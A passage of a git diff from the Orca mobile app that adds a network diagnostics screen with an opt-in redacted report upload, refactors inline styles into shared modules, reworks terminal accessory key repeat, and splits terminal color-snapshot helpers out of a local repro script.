+      desktopAppVersion,
+      entries: snapshot.entries,
+      activePath: snapshot.activePath,
+      pendingPath: snapshot.pendingPath
+    })
+    const result = await submitConnectionDiagnostics({ report, appVersion, platform })
+    setSubmissionStates((states) =>
+      updateDiagnosticsSubmissionState(states, startedKey, result.ok ? 'sent' : 'failed')
+    )
+  }, [selected, submissionKey, submissionState, liveDesktopAppVersion, clientContext])
 
   return (
     <View style={[styles.container, { paddingTop: insets.top + spacing.sm }]}>
@@ -86,7 +188,7 @@ export default function ConnectionLogScreen() {
         <Pressable style={styles.backButton} onPress={() => router.back()}>
           <ChevronLeft size={22} color={colors.textSecondary} />
         </Pressable>
-        <Text style={styles.heading}>Connection log</Text>
+        <Text style={styles.heading}>Network diagnostics</Text>
       </View>
 
       {hosts.length > 1 && (
@@ -95,7 +197,9 @@ export default function ConnectionLogScreen() {
             <Pressable
               key={host.id}
               style={[styles.hostChip, host.id === selectedId && styles.hostChipActive]}
-              onPress={() => setSelectedId(host.id)}
+              onPress={() =>
+                setManualSelection({ hostId: host.id, requestedHostId: params.hostId, routeKey })
+              }
             >
               <Text
                 style={[styles.hostChipText, host.id === selectedId && styles.hostChipTextActive]}
@@ -121,14 +225,49 @@ export default function ConnectionLogScreen() {
               ) : (
                 <Copy size={14} color={colors.textSecondary} />
               )}
-              <Text style={styles.copyButtonText}>{copied ? 'Copied' : 'Copy diagnostics'}</Text>
+              <Text style={styles.copyButtonText}>{copied ? 'Copied' : 'Copy report'}</Text>
             </Pressable>
           </View>
+          {diagnosis && (
+            <View style={styles.diagnosisCard}>
+              <Text style={styles.diagnosisHeading}>What this suggests</Text>
+              <Text style={styles.diagnosisText}>{diagnosis.likelyCause}</Text>
+              <Text style={styles.diagnosisNext}>{diagnosis.nextStep}</Text>
+              {diagnosis.reportability === 'orca-relay' && (
+                <>
+                  <Text style={styles.privacyHint}>
+                    Sends a size-limited redacted report including host name, endpoint, versions,
+                    connection state, and events—never terminal contents or credentials.
+                  </Text>
+                  <Pressable
+                    style={styles.sendButton}
+                    onPress={() => void sendDiagnostics()}
+                    disabled={submissionState === 'sending'}
+                  >
+                    {submissionState === 'sent' ? (
+                      <Check size={14} color={colors.statusGreen} />
+                    ) : (
+                      <Send size={14} color={colors.textPrimary} />
+                    )}
+                    <Text style={styles.sendButtonText}>
+                      {submissionState === 'sending'
+                        ? 'Sending…'
+                        : submissionState === 'sent'
+                          ? 'Diagnostics sent'
+                          : submissionState === 'failed'
+                            ? 'Retry sending'
+                            : 'Send diagnostics to Orca'}
+                    </Text>
+                  </Pressable>
+                </>
+              )}
+            </View>
+          )}
           {entries.length > 0 ? (
-            <ConnectionLog entries={[...entries]} title={selected.name} />
+            <ConnectionLog entries={[...entries]} title={selected.name} fillAvailableHeight />
           ) : (
             <Text style={styles.emptyText}>
-              No connection events yet this session. Events appear as the app dials this host.
+              No connection events yet. Events appear as the app dials this host.
             </Text>
           )}
         </>
@@ -199,6 +338,53 @@ const styles = StyleSheet.create({
     fontSize: typography.metaSize,
     color: colors.textSecondary
   },
+  diagnosisCard: {
+    backgroundColor: colors.bgPanel,
+    borderWidth: StyleSheet.hairlineWidth,
+    borderColor: colors.borderSubtle,
+    borderRadius: 10,
+    padding: spacing.md,
+    marginBottom: spacing.md
+  },
+  diagnosisHeading: {
+    fontSize: typography.metaSize,
+    fontWeight: '600',
+    color: colors.textPrimary,
+    marginBottom: spacing.xs
+  },
+  diagnosisText: {
+    fontSize: typography.metaSize,
+    color: colors.textPrimary,
+    lineHeight: 18
+  },
+  diagnosisNext: {
+    fontSize: typography.metaSize,
+    color: colors.textSecondary,
+    lineHeight: 18,
+    marginTop: spacing.xs
+  },
+  privacyHint: {
+    marginTop: spacing.sm,
+    fontSize: 11,
+    lineHeight: 15,
+    color: colors.textMuted
+  },
+  sendButton: {
+    marginTop: spacing.md,
+    alignSelf: 'flex-start',
+    flexDirection: 'row',
+    alignItems: 'center',
+    gap: spacing.xs,
+    paddingVertical: spacing.sm,
+    paddingHorizontal: spacing.md,
+    borderRadius: 8,
+    backgroundColor: colors.bgRaised
+  },
+  sendButtonText: {
+    fontSize: typography.metaSize,
+    fontWeight: '600',
+    color: colors.textPrimary
+  },
   copyButton: {
     flexDirection: 'row',
     alignItems: 'center',
diff --git a/mobile/app/h/[hostId]/index.tsx b/mobile/app/h/[hostId]/index.tsx
index 3400fd3694b..18ebe3efe3d 100644
--- a/mobile/app/h/[hostId]/index.tsx
+++ b/mobile/app/h/[hostId]/index.tsx
@@ -1,5 +1,5 @@
 import { useState, useEffect, useCallback, useMemo, useRef } from 'react'
-import { View, Text, StyleSheet, SectionList, Pressable, Alert, RefreshControl } from 'react-native'
+import { View, Text, SectionList, Pressable, Alert, RefreshControl } from 'react-native'
 import { SafeAreaView, useSafeAreaInsets } from 'react-native-safe-area-context'
 import { useFocusEffect, useLocalSearchParams, usePathname, useRouter } from 'expo-router'
 import {
@@ -63,14 +63,16 @@ import { ConfirmModal } from '../../../src/components/ConfirmModal'
 import { BottomDrawer } from '../../../src/components/BottomDrawer'
 import { useHostProtocolGates } from '../../../src/components/HostProtocolGate'
 import { AuthFailedBanner } from '../../../src/components/AuthFailedBanner'
+import { HostDiagnosticsLink } from '../../../src/components/HostDiagnosticsLink'
 import { HostRouteNoticeBanner } from '../../../src/components/HostRouteNoticeBanner'
 import { visibleHostRouteNotice } from '../../../src/host-route-notice'
 import { MobileSearchField } from '../../../src/components/MobileSearchField'
 import { WorkspaceDetailPlaceholder } from '../../../src/components/WorkspaceDetailPlaceholder'
 import { getCachedWorktrees, setCachedWorktrees } from '../../../src/cache/worktree-cache'
 import { setCachedRepos } from '../../../src/cache/repo-cache'
-import { colors, radii, spacing, typography } from '../../../src/theme/mobile-theme'
+import { colors, spacing } from '../../../src/theme/mobile-theme'
 import { useResponsiveLayout } from '../../../src/layout/responsive-layout'
+import { hostScreenStyles as styles } from '../../../src/host-screen/host-screen-styles'
 import { leaveHostRoute } from '../../../src/host-route-exit'
 import { loadPinnedIds, savePinnedIds } from '../../../src/storage/preferences'
 import {
@@ -1090,6 +1092,17 @@ export function HostScreen({
         />
       )}
 
+      {connState !== 'connected' &&
+      !relayRecovery.pairingRejected &&
+      reconnectAttempts >= 3 &&
+      hostId ? (
+        <HostDiagnosticsLink
+          onPress={() =>
+            router.push({ pathname: '/connection-log', params: { hostId: String(hostId) } })
+          }
+        />
+      ) : null}
+
       {/* Why a bounced route landed here (e.g. the workspace was deleted on the desktop). */}
       {routeNotice && (
         <HostRouteNoticeBanner
@@ -1410,310 +1423,3 @@ export default function HostWorktreeRoute() {
 function ListSeparator() {
   return <View style={styles.separator} />
 }
-
-const styles = StyleSheet.create({
-  container: {
-    flex: 1,
-    backgroundColor: colors.bgBase
-  },
-  topChrome: {
-    backgroundColor: colors.bgPanel,
-    borderBottomWidth: 1,
-    borderBottomColor: colors.borderSubtle
-  },
-  statusBar: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    justifyContent: 'space-between',
-    minHeight: 34,
-    paddingTop: spacing.xs,
-    paddingHorizontal: spacing.lg
-  },
-  backButton: {
-    width: 32,
-    height: 32,
-    alignItems: 'center',
-    justifyContent: 'center',
-    marginRight: spacing.xs
-  },
-  sidebarCollapseButton: {
-    width: 24,
-    height: 24,
-    alignItems: 'center',
-    justifyContent: 'center',
-    borderRadius: radii.button,
-    marginLeft: spacing.xs
-  },
-  hostIdentity: {
-    flex: 1,
-    flexDirection: 'row',
-    alignItems: 'center',
-    minWidth: 0,
-    marginRight: spacing.md
-  },
-  hostNameText: {
-    flex: 1,
-    fontSize: 15,
-    fontWeight: '600',
-    color: colors.textPrimary
-  },
-  reconnectButton: {
-    paddingVertical: 4,
-    paddingHorizontal: spacing.sm,
-    borderRadius: radii.button,
-    backgroundColor: colors.bgPanel,
-    borderWidth: 1,
-    borderColor: colors.borderSubtle
-  },
-  reconnectButtonText: {
-    color: colors.textPrimary,
-    fontSize: typography.metaSize,
-    fontWeight: '600'
-  },
-  toolbar: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    paddingVertical: spacing.xs + 2,
-    paddingHorizontal: spacing.md,
-    gap: spacing.sm,
-    borderBottomWidth: 1,
-    borderBottomColor: colors.borderSubtle
-  },
-  embeddedToolbar: {
-    paddingVertical: spacing.xs + 2,
-    paddingHorizontal: spacing.sm,
-    gap: spacing.xs,
-    borderBottomWidth: 1,
-    borderBottomColor: colors.borderSubtle
-  },
-  embeddedToolbarRow: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    gap: spacing.sm
-  },
-  embeddedFilterChip: {
-    flex: 1,
-    minWidth: 0,
-    height: 30,
-    justifyContent: 'center',
-    paddingHorizontal: spacing.xs,
-    paddingVertical: 0
-  },
-  embeddedModeButton: {
-    flex: 1,
-    minWidth: 0,
-    height: 30,
-    justifyContent: 'center',
-    paddingHorizontal: spacing.xs,
-    paddingVertical: 0
-  },
-  filterChip: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    gap: 4,
-    paddingHorizontal: spacing.sm + 2,
-    paddingVertical: spacing.xs,
-    borderRadius: 12,
-    borderWidth: 1,
-    borderColor: colors.borderSubtle
-  },
-  filterChipActive: {
-    borderColor: colors.textSecondary,
-    backgroundColor: colors.bgRaised
-  },
-  filterChipText: {
-    fontSize: 12,
-    color: colors.textSecondary
-  },
-  filterChipTextActive: {
-    color: colors.textPrimary
-  },
-  modeButton: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    flexShrink: 1,
-    minWidth: 0,
-    gap: 4,
-    paddingHorizontal: spacing.sm,
-    paddingVertical: spacing.xs
-  },
-  sortLabel: {
-    flexShrink: 1,
-    minWidth: 0,
-    fontSize: 12,
-    color: colors.textSecondary
-  },
-  toolbarSpacer: {
-    flex: 1
-  },
-  floatingWorkspaceHeaderButton: {
-    width: 32,
-    height: 32,
-    alignItems: 'center',
-    justifyContent: 'center',
-    marginLeft: spacing.xs
-  },
-  embeddedToolbarIconButton: {
-    flex: 1,
-    height: 28,
-    alignItems: 'center',
-    justifyContent: 'center',
-    borderRadius: radii.button
-  },
-  toolbarIconDisabled: {
-    opacity: 0.6
-  },
-  searchToggle: {
-    padding: spacing.xs
-  },
-  searchBar: {
-    paddingHorizontal: spacing.md,
-    paddingVertical: spacing.sm,
-    borderBottomWidth: StyleSheet.hairlineWidth,
-    borderBottomColor: colors.borderSubtle,
-    backgroundColor: colors.bgPanel
-  },
-  centered: {
-    flex: 1,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  emptyText: {
-    color: colors.textSecondary,
-    fontSize: typography.bodySize
-  },
-  errorText: {
-    color: colors.statusRed,
-    fontSize: typography.bodySize
-  },
-  list: {
-    paddingBottom: spacing.lg
-  },
-  sectionHeader: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    paddingHorizontal: spacing.lg,
-    paddingTop: spacing.md,
-    paddingBottom: spacing.xs
-  },
-  sectionIcon: {
-    marginRight: spacing.xs
-  },
-  sectionRepoIcon: {
-    marginRight: spacing.xs
-  },
-  sectionTitle: {
-    fontSize: 11,
-    fontWeight: '600',
-    color: colors.textMuted,
-    textTransform: 'uppercase',
-    letterSpacing: 0.5
-  },
-  sectionCount: {
-    fontSize: 11,
-    color: colors.textMuted,
-    marginLeft: spacing.xs
-  },
-  separator: {
-    height: 1,
-    backgroundColor: colors.borderSubtle,
-    marginLeft: spacing.lg + 24,
-    marginRight: spacing.lg
-  },
-  filterModalHeader: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    justifyContent: 'space-between',
-    paddingHorizontal: spacing.xs,
-    marginBottom: spacing.md
-  },
-  filterModalTitle: {
-    fontSize: 15,
-    fontWeight: '600',
-    color: colors.textPrimary
-  },
-  clearFiltersText: {
-    fontSize: 13,
-    color: colors.textSecondary
-  },
-  filterSectionLabel: {
-    fontSize: 11,
-    fontWeight: '600',
-    color: colors.textMuted,
-    textTransform: 'uppercase',
-    letterSpacing: 0.5,
-    marginBottom: spacing.xs,
-    paddingHorizontal: spacing.xs
-  },
-  filterGroup: {
-    backgroundColor: colors.bgPanel,
-    borderRadius: 12,
-    overflow: 'hidden',
-    marginBottom: spacing.md
-  },
-  filterRow: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    paddingVertical: spacing.md,
-    paddingHorizontal: spacing.md + 2,
-    gap: spacing.sm
-  },
-  filterRowText: {
-    flex: 1,
-    fontSize: typography.bodySize,
-    color: colors.textPrimary
-  },
-  filterSeparator: {
-    height: StyleSheet.hairlineWidth,
-    backgroundColor: colors.borderSubtle,
-    marginHorizontal: spacing.md
-  },
-  filterRepoDot: {
-    width: 8,
-    height: 8,
-    borderRadius: 4
-  },
-  confirmContent: {
-    paddingBottom: spacing.lg
-  },
-  confirmTitle: {
-    fontSize: 16,
-    fontWeight: '700',
-    color: colors.textPrimary
-  },
-  confirmMessage: {
-    fontSize: typography.bodySize,
-    color: colors.textSecondary,
-    marginTop: spacing.xs,
-    lineHeight: 20
-  },
-  confirmButtons: {
-    flexDirection: 'row',
-    gap: spacing.sm
-  },
-  confirmBtn: {
-    flex: 1,
-    paddingVertical: spacing.sm + 2,
-    borderRadius: 10,
-    alignItems: 'center'
-  },
-  confirmBtnCancel: {
-    backgroundColor: colors.bgPanel
-  },
-  confirmBtnDestructive: {
-    backgroundColor: colors.statusRed
-  },
-  confirmBtnPressed: {
-    opacity: 0.7
-  },
-  confirmBtnCancelText: {
-    fontSize: typography.bodySize,
-    fontWeight: '600',
-    color: colors.textSecondary
-  },
-  confirmBtnDestructiveText: {
-    fontSize: typography.bodySize,
-    fontWeight: '600',
-    color: '#fff'
-  }
-})
diff --git a/mobile/app/h/[hostId]/session/[worktreeId].tsx b/mobile/app/h/[hostId]/session/[worktreeId].tsx
index 14a94513507..0d36fa96020 100644
--- a/mobile/app/h/[hostId]/session/[worktreeId].tsx
+++ b/mobile/app/h/[hostId]/session/[worktreeId].tsx
@@ -117,6 +117,10 @@ import {
 } from '../../../../src/terminal/terminal-accessory-layout'
 import { createTerminalLiveAccessoryInput } from '../../../../src/terminal/terminal-live-accessory-input'
 import { sendTerminalLiveAccessoryRawBytes } from '../../../../src/terminal/terminal-live-accessory-raw-send'
+import {
+  createTerminalAccessoryRepeatController,
+  createTerminalAccessoryRepeatSender
+} from '../../../../src/terminal/terminal-accessory-repeat'
 import {
   clearTerminalLiveInputFocusTimer,
   isTerminalLiveInputWithinByteLimit,
@@ -2993,16 +2997,22 @@ export default function SessionScreen() {
     }
   }
 
-  async function handleAccessoryKey(input: ReturnType<typeof createTerminalLiveAccessoryInput>) {
-    if (!client || !activeHandle || !canSend) {
-      return
+  async function handleAccessoryKey(
+    input: ReturnType<typeof createTerminalLiveAccessoryInput>,
+    targetHandle = activeHandleRef.current,
+    isDeliveryTargetCurrent: () => boolean = () => targetHandle === activeHandleRef.current
+  ) {
+    if (!client || !targetHandle || !isDeliveryTargetCurrent() || !canSend) {
+      return false
     }
-    const targetHandle = activeHandle
     const accessoryCommit = await handleLiveInputAccessoryBytes(input)
-    if (accessoryCommit.kind !== 'allow-raw') {
-      return
+    if (!isDeliveryTargetCurrent()) {
+      return false
     }
-    await sendTerminalLiveAccessoryRawBytes({
+    if (accessoryCommit.kind !== 'allow-raw') {
+      return accessoryCommit.kind === 'handled'
+    }
+    return sendTerminalLiveAccessoryRawBytes({
       client: clientRef.current,
       targetHandle,
       activeHandle: activeHandleRef.current,
@@ -3399,32 +3409,37 @@ export default function SessionScreen() {
     }
   }
 
-  // Why: hold-to-repeat matches iOS cadence (400ms then 45ms); non-repeatable keys fire once (holding is destructive).
-  const repeatTimeoutRef = useRef<ReturnType<typeof setTimeout> | null>(null)
-  const repeatIntervalRef = useRef<ReturnType<typeof setInterval> | null>(null)
-  // Why: ref keeps repeat firing the current callback; else a mid-hold tab switch/reconnect routes bytes to a stale terminal.
+  const accessoryRepeatRef = useRef(
+    createTerminalAccessoryRepeatController<ReturnType<typeof createTerminalLiveAccessoryInput>>()
+  )
+  // Why: the current callback observes reconnect state while the sender pins the press to its original terminal.
   const handleAccessoryKeyRef = useRef(handleAccessoryKey)
   handleAccessoryKeyRef.current = handleAccessoryKey
   const stopAccessoryRepeat = useCallback(() => {
-    if (repeatTimeoutRef.current) {
-      clearTimeout(repeatTimeoutRef.current)
-      repeatTimeoutRef.current = null
-    }
-    if (repeatIntervalRef.current) {
-      clearInterval(repeatIntervalRef.current)
-      repeatIntervalRef.current = null
-    }
+    accessoryRepeatRef.current.stop()
   }, [])
   const startAccessoryRepeat = useCallback(
     (input: ReturnType<typeof createTerminalLiveAccessoryInput>) => {
-      stopAccessoryRepeat()
-      repeatTimeoutRef.current = setTimeout(() => {
-        repeatIntervalRef.current = setInterval(() => {
-          void handleAccessoryKeyRef.current(input)
-        }, 45)
-      }, 400)
+      // Why: a held repeat must not resume through a replacement client or connection.
+      const targetClient = clientRef.current
+      const targetConnectedAt = targetClient?.getLastConnectedAt() ?? null
+      const isDeliveryTargetCurrent = (targetHandle: string) =>
+        activeHandleRef.current === targetHandle &&
+        targetClient !== null &&
+        clientRef.current === targetClient &&
+        connStateRef.current === 'connected' &&
+        targetClient.getLastConnectedAt() === targetConnectedAt
+      accessoryRepeatRef.current.start(
+        input,
+        createTerminalAccessoryRepeatSender(
+          activeHandleRef.current,
+          isDeliveryTargetCurrent,
+          (nextInput, targetHandle, isTargetCurrent) =>
+            handleAccessoryKeyRef.current(nextInput, targetHandle, isTargetCurrent)
+        )
+      )
     },
-    [stopAccessoryRepeat]
+    []
   )
   const setMobileSessionRootRef = useCallback(
     (node: View | null): void => {
@@ -3440,15 +3455,14 @@ export default function SessionScreen() {
       clearPendingLiveInputCommit()
       sessionTabActionSheetRequestSeqRef.current += 1
       clearSessionTabActionSheetKeyboardListener()
-      stopAccessoryRepeat()
+      accessoryRepeatRef.current.cancel()
     },
     [
       clearPendingLiveInputCommit,
       clearDelayedActionTimers,
       clearSessionTabActionSheetKeyboardListener,
       clearTerminalCache,
-      clearToastHideTimer,
-      stopAccessoryRepeat
+      clearToastHideTimer
     ]
   )
 
@@ -4848,7 +4862,6 @@ export default function SessionScreen() {
                             return
                           }
                           const input = createTerminalLiveAccessoryInput(key)
-                          void handleAccessoryKey(input)
                           startAccessoryRepeat(input)
                         }}
                         onPressOut={() => {
diff --git a/mobile/app/pair-scan.tsx b/mobile/app/pair-scan.tsx
index c78d7a907df..61e99f19f2a 100644
--- a/mobile/app/pair-scan.tsx
+++ b/mobile/app/pair-scan.tsx
@@ -2,7 +2,6 @@ import { useState, useRef, useCallback } from 'react'
 import {
   View,
   Text,
-  StyleSheet,
   Pressable,
   ActivityIndicator,
   Linking,
@@ -19,13 +18,14 @@ import {
 } from '../src/transport/pre-profile-pairing-coordinator'
 import type { ConnectionLogEntry, PairingOffer } from '../src/transport/types'
 import { useRefreshHostClient } from '../src/transport/client-context'
-import { colors, spacing, radii, typography } from '../src/theme/mobile-theme'
+import { colors, spacing } from '../src/theme/mobile-theme'
 import { TextInputModal } from '../src/components/TextInputModal'
 import { ConnectionLog } from '../src/components/ConnectionLog'
 import {
   loadMobileOnboardingSteps,
   mobileOnboardingDestination
 } from '../src/onboarding/mobile-onboarding-plan'
+import { pairScanStyles as styles } from '../src/pair-scan-styles'
 
 // Why: see pair-confirm.tsx — cap initial-pair "Connecting…" so a broken
 // route surfaces as a real error with the log visible instead of a
@@ -356,186 +356,3 @@ export default function PairScanScreen() {
     </View>
   )
 }
-
-const styles = StyleSheet.create({
-  container: {
-    flex: 1,
-    backgroundColor: colors.bgBase,
-    padding: spacing.lg
-  },
-  backButton: {
-    width: 36,
-    height: 36,
-    borderRadius: 18,
-    alignItems: 'center',
-    justifyContent: 'center',
-    marginBottom: spacing.sm
-  },
-  steps: {
-    gap: spacing.sm,
-    marginBottom: spacing.lg,
-    marginLeft: 7
-  },
-  step: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    gap: spacing.sm
-  },
-  stepBadge: {
-    width: 22,
-    height: 22,
-    borderRadius: 11,
-    backgroundColor: colors.bgRaised,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  stepNumber: {
-    fontSize: 12,
-    fontWeight: '700',
-    color: colors.textSecondary
-  },
-  stepText: {
-    fontSize: typography.bodySize,
-    color: colors.textSecondary
-  },
-  cameraWrap: {
-    flex: 1,
-    borderRadius: radii.camera,
-    overflow: 'hidden'
-  },
-  // Why: holds the layout slot while the camera is unmounted during
-  // paste, so the bottom action button doesn't snap up to fill the
-  // empty space.
-  cameraPlaceholder: {
-    flex: 1,
-    backgroundColor: colors.bgPanel,
-    borderRadius: radii.camera
-  },
-  camera: {
-    ...StyleSheet.absoluteFillObject
-  },
-  reticle: {
-    ...StyleSheet.absoluteFillObject,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  reticleFrame: {
-    position: 'relative'
-  },
-  corner: {
-    position: 'absolute',
-    width: 28,
-    height: 28,
-    borderColor: 'rgba(255,255,255,0.7)'
-  },
-  cornerTL: {
-    top: 0,
-    left: 0,
-    borderTopWidth: 2.5,
-    borderLeftWidth: 2.5,
-    borderTopLeftRadius: 6
-  },
-  cornerTR: {
-    top: 0,
-    right: 0,
-    borderTopWidth: 2.5,
-    borderRightWidth: 2.5,
-    borderTopRightRadius: 6
-  },
-  cornerBL: {
-    bottom: 0,
-    left: 0,
-    borderBottomWidth: 2.5,
-    borderLeftWidth: 2.5,
-    borderBottomLeftRadius: 6
-  },
-  cornerBR: {
-    bottom: 0,
-    right: 0,
-    borderBottomWidth: 2.5,
-    borderRightWidth: 2.5,
-    borderBottomRightRadius: 6
-  },
-  centered: {
-    flex: 1,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  title: {
-    fontSize: typography.titleSize,
-    fontWeight: '600',
-    color: colors.textPrimary,
-    marginBottom: spacing.sm
-  },
-  subtitle: {
-    maxWidth: 310,
-    fontSize: typography.bodySize,
-    color: colors.textSecondary,
-    textAlign: 'center',
-    marginBottom: spacing.xl,
-    lineHeight: 20
-  },
-  connectingText: {
-    color: colors.textSecondary,
-    fontSize: typography.bodySize,
-    marginTop: spacing.lg
-  },
-  logSlot: {
-    width: '100%',
-    marginTop: spacing.lg,
-    paddingHorizontal: spacing.sm
-  },
-  errorText: {
-    color: colors.statusRed,
-    fontSize: typography.bodySize,
-    textAlign: 'center',
-    marginBottom: spacing.xl,
-    lineHeight: 20
-  },
-  primaryButton: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    justifyContent: 'center',
-    gap: spacing.xs,
-    backgroundColor: colors.textPrimary,
-    paddingHorizontal: spacing.xl,
-    paddingVertical: spacing.sm + 2,
-    borderRadius: radii.button
-  },
-  primaryButtonText: {
-    color: colors.bgBase,
-    fontSize: typography.bodySize,
-    fontWeight: '600'
-  },
-  pasteButton: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    justifyContent: 'center',
-    gap: spacing.xs,
-    marginTop: spacing.md,
-    paddingVertical: spacing.sm,
-    borderRadius: radii.button
-  },
-  pasteButtonPressed: {
-    opacity: 0.6
-  },
-  pasteButtonText: {
-    color: colors.textSecondary,
-    fontSize: typography.bodySize,
-    fontWeight: '500'
-  },
-  errorActions: {
-    alignItems: 'center',
-    gap: spacing.sm
-  },
-  secondaryButton: {
-    paddingHorizontal: spacing.xl,
-    paddingVertical: spacing.sm,
-    borderRadius: radii.button
-  },
-  secondaryButtonText: {
-    color: colors.textSecondary,
-    fontSize: typography.bodySize,
-    fontWeight: '500'
-  }
-})
diff --git a/mobile/app/troubleshoot.tsx b/mobile/app/troubleshoot.tsx
index 5ae53e0084c..c4313e88fcc 100644
--- a/mobile/app/troubleshoot.tsx
+++ b/mobile/app/troubleshoot.tsx
@@ -222,7 +222,7 @@ export default function TroubleshootScreen() {
           onPress={() => router.push('/connection-log')}
         >
           <ScrollText size={16} color={colors.textPrimary} />
-          <Text style={styles.diagnosticButtonLabel}>View connection log</Text>
+          <Text style={styles.diagnosticButtonLabel}>View network diagnostics</Text>
         </Pressable>
 
         {checks.length > 0 && (
diff --git a/mobile/scripts/repro-terminal-color-output.ts b/mobile/scripts/repro-terminal-color-output.ts
new file mode 100644
index 00000000000..50e4e153b54
--- /dev/null
+++ b/mobile/scripts/repro-terminal-color-output.ts
@@ -0,0 +1,60 @@
+import { mkdirSync, writeFileSync } from 'node:fs'
+import { join } from 'node:path'
+
+const ESC = String.fromCharCode(27)
+
+export type TerminalColorSnapshot = {
+  label: string
+  handle: string
+  cols: number | null
+  rows: number | null
+  serialized: string
+  lines: string
+}
+
+function countMatches(value: string, pattern: RegExp): number {
+  return value.match(pattern)?.length ?? 0
+}
+
+export function summarizeTerminalColorSnapshot(
+  snapshot: TerminalColorSnapshot
+): Record<string, string | number | null> {
+  const data = snapshot.serialized
+  return {
+    label: snapshot.label,
+    handle: snapshot.handle,
+    cols: snapshot.cols,
+    rows: snapshot.rows,
+    serializedBytes: Buffer.byteLength(data),
+    sgrTotal: countMatches(data, new RegExp(`${ESC}\\[[0-9;:]*m`, 'g')),
+    sgrColor: countMatches(
+      data,
+      new RegExp(
+        `${ESC}\\[(?:[0-9;:]*[;:])?(?:3[0-7]|4[0-7]|9[0-7]|10[0-7]|38[;:]|48[;:])[0-9;:]*m`,
+        'g'
+      )
+    ),
+    sgrReset: countMatches(data, new RegExp(`${ESC}\\[(?:0|39|49|0;39;49)m`, 'g')),
+    altScreen: data.includes(`${ESC}[?1049h`) ? 'yes' : 'no',
+    containsTruecolor: data.includes('38;2') || data.includes('38:2') ? 'yes' : 'no',
+    containsPaletteColor: data.includes('38;5') || data.includes('38:5') ? 'yes' : 'no'
+  }
+}
+
+export function saveTerminalColorSnapshots(snapshots: TerminalColorSnapshot[]): string {
+  const dir = join(process.cwd(), 'terminal-color-repro')
+  mkdirSync(dir, { recursive: true })
+  for (const snapshot of snapshots) {
+    const base = snapshot.label.replace(/[^a-z0-9_-]/gi, '-')
+    writeFileSync(join(dir, `${base}.ansi`), snapshot.serialized || snapshot.lines)
+    writeFileSync(
+      join(dir, `${base}.escaped.txt`),
+      JSON.stringify(snapshot.serialized || snapshot.lines)
+    )
+  }
+  writeFileSync(
+    join(dir, 'summary.json'),
+    JSON.stringify(snapshots.map(summarizeTerminalColorSnapshot), null, 2)
+  )
+  return dir
+}
diff --git a/mobile/scripts/repro-terminal-colors.ts b/mobile/scripts/repro-terminal-colors.ts
index 3c21df64176..e6c302652a0 100644
--- a/mobile/scripts/repro-terminal-colors.ts
+++ b/mobile/scripts/repro-terminal-colors.ts
@@ -10,10 +10,13 @@
  *   ORCA_MOBILE_WS_URL=ws://127.0.0.1:6768 \
  *     pnpm exec tsx scripts/repro-terminal-colors.ts <deviceToken> <serverPublicKeyB64> <worktreeSelector> [handleA] [handleB]
  */
-import { mkdirSync, writeFileSync } from 'node:fs'
-import { join } from 'node:path'
 import nacl from 'tweetnacl'
 import WebSocket from 'ws'
+import {
+  saveTerminalColorSnapshots,
+  summarizeTerminalColorSnapshot,
+  type TerminalColorSnapshot
+} from './repro-terminal-color-output'
 
 const WS_URL = process.env.ORCA_MOBILE_WS_URL ?? 'ws://127.0.0.1:6768'
 const token = process.argv[2]
@@ -21,7 +24,6 @@ const serverPublicKeyB64 = process.argv[3]
 const worktreeSelector = process.argv[4]
 const explicitHandleA = process.argv[5]
 const explicitHandleB = process.argv[6]
-const ESC = String.fromCharCode(27)
 
 type RpcResponse = {
   id: string
@@ -37,15 +39,6 @@ type PendingRequest = {
   reject: (error: Error) => void
 }
 
-type Snapshot = {
-  label: string
-  handle: string
-  cols: number | null
-  rows: number | null
-  serialized: string
-  lines: string
-}
-
 if (!token || !serverPublicKeyB64 || !worktreeSelector) {
   console.error(
     'Usage: pnpm exec tsx scripts/repro-terminal-colors.ts <deviceToken> <serverPublicKeyB64> <worktreeSelector> [handleA] [handleB]'
@@ -158,9 +151,13 @@ async function ensureSecondHandle(ws: WebSocket, handleA: string): Promise<strin
   return handle
 }
 
-async function captureSnapshot(ws: WebSocket, label: string, handle: string): Promise<Snapshot> {
+async function captureSnapshot(
+  ws: WebSocket,
+  label: string,
+  handle: string
+): Promise<TerminalColorSnapshot> {
   const id = nextId()
-  const snapshot = await new Promise<Snapshot>((resolve, reject) => {
+  const snapshot = await new Promise<TerminalColorSnapshot>((resolve, reject) => {
     const timeout = setTimeout(() => {
       pending.delete(id)
       streamListeners.delete(id)
@@ -207,48 +204,6 @@ async function captureSnapshot(ws: WebSocket, label: string, handle: string): Pr
   return snapshot
 }
 
-function countMatches(value: string, pattern: RegExp): number {
-  return value.match(pattern)?.length ?? 0
-}
-
-function summarize(snapshot: Snapshot): Record<string, string | number | null> {
-  const data = snapshot.serialized
-  return {
-    label: snapshot.label,
-    handle: snapshot.handle,
-    cols: snapshot.cols,
-    rows: snapshot.rows,
-    serializedBytes: Buffer.byteLength(data),
-    sgrTotal: countMatches(data, new RegExp(`${ESC}\\[[0-9;:]*m`, 'g')),
-    sgrColor: countMatches(
-      data,
-      new RegExp(
-        `${ESC}\\[(?:[0-9;:]*[;:])?(?:3[0-7]|4[0-7]|9[0-7]|10[0-7]|38[;:]|48[;:])[0-9;:]*m`,
-        'g'
-      )
-    ),
-    sgrReset: countMatches(data, new RegExp(`${ESC}\\[(?:0|39|49|0;39;49)m`, 'g')),
-    altScreen: data.includes(`${ESC}[?1049h`) ? 'yes' : 'no',
-    containsTruecolor: data.includes('38;2') || data.includes('38:2') ? 'yes' : 'no',
-    containsPaletteColor: data.includes('38;5') || data.includes('38:5') ? 'yes' : 'no'
-  }
-}
-
-function saveSnapshots(snapshots: Snapshot[]): string {
-  const dir = join(process.cwd(), 'terminal-color-repro')
-  mkdirSync(dir, { recursive: true })
-  for (const snapshot of snapshots) {
